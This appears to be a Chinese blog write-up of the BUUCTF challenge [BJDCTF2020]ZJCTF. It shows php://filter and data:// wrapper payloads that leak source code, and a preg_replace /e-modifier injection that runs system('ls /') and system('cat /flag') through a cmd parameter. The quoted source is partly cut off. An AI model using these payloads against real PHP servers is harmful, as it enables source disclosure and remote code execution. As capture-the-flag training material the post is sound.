深入解析:[BJDCTF2020]ZJCTF,不过如此

BUUCTF在线评测BUUCTF 是一个 CTF 竞赛和训练平台,为各位 CTF 选手提供真实赛题在线复现等服务。https://buuoj.cn/challenges#[BJDCTF2020]ZJCTF%EF%BC%8C%E4%B8%8D%E8%BF%87%E5%A6%82%E6%AD%A4启动靶机

该代码说明了:get方法传递2个参数 text、file 的值。并且使用 file_get_content() 函数把档案读入一个字符串中,如果这个字符串与“ i have a dream ”相等,则进行字符串输出。

并且传递 file 参数中假设含有 /flag/ 的路径 ,就会输出“ not now ”,反之就会在页面中引入大家传参页面文件的代码。

还告诉我们存在一个 /next.php 的页面 ,直接访问是一片空白

如此允许构造payload 读取这个页面的源码 :

/?text=data://text/plain,I have a dream&file=php://filter/read=convert.base64-encode/resource=next.php

解码得到 next.php 的源码

 $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}

这个源码  有正则表达式  有for循环

可利用的关键在于 preg_replace()  内部

/(' . $re . ')/ei

/.../ei  是正则表达式的定界符和修饰符

修饰符 e :可执行模式,此为PHP专有参数。在 PHP 5.5.0 中已被废弃,在 PHP 7.0.0 中更是被完全移除,源于它极其危险

修饰符 i  : 忽略大小写

strtolower("\\1")

该函数本身是,将字符串转变为小写的意思。

\\1   :此处表示,引用正则表达式中第一个捕获组

学习正则表达式 – 修饰符&元字符等 | 菜鸟教程正则表达式 - 修饰符(标记) 正则表达式修饰符(也称为模式修饰符或标记)是用于改变正则表达式匹配行为的特殊指令。 标记也称为修饰符,正则表达式的标记用于指定额外的匹配策略。 标记不写在正则表达式里,标记位于表达式之外,格式如下: /pattern/flags 常用修饰符 下表列出了正则表达式常用的修饰符: 1. i (ignore case) - 忽略大小写 使匹配不区分大小写 ..https://www.runoob.com/regexp/regexp-flags.html

在next.php 页面构造payload :?id=1&\S*={${getFlag()}}&cmd=system("ls /");(注意结尾一定要带 ;  )

解释一下该payload

我们传递的这个url   会被解析为一个$_get[]数组

$_GET = [
'id'  => '1',
'\S*' => '{${getFlag()}}',
'cmd' => 'system("ls /");'
];

进入for循环时,'id'  => '1'   找不到匹配项,返回原字符“1”

'\S*' => '{${getFlag()}}'

  • \S* 表示"匹配0个或多个非空白字符"

  • 这个模式会匹配整个字符串{${getFlag()}}”

就会变成 strtolower("{${getFlag()}}")

而又因为 e修饰符 ,程序运行时会先执行里面的 ${getFlag()} ,

之后执行大家传递的 cmd=system('ls /')  返回结果再执行 strtolower () 将返回结果字符串进行小写

发现了flag?id=1&\S*={${getFlag()}}&cmd=system("cat  /flag");

获得flag{df58112c-a225-485e-815d-af9ae9e164f2}

posted @ 2025-09-11 12:11  wzzkaifa  阅读(12)  评论(0)    收藏  举报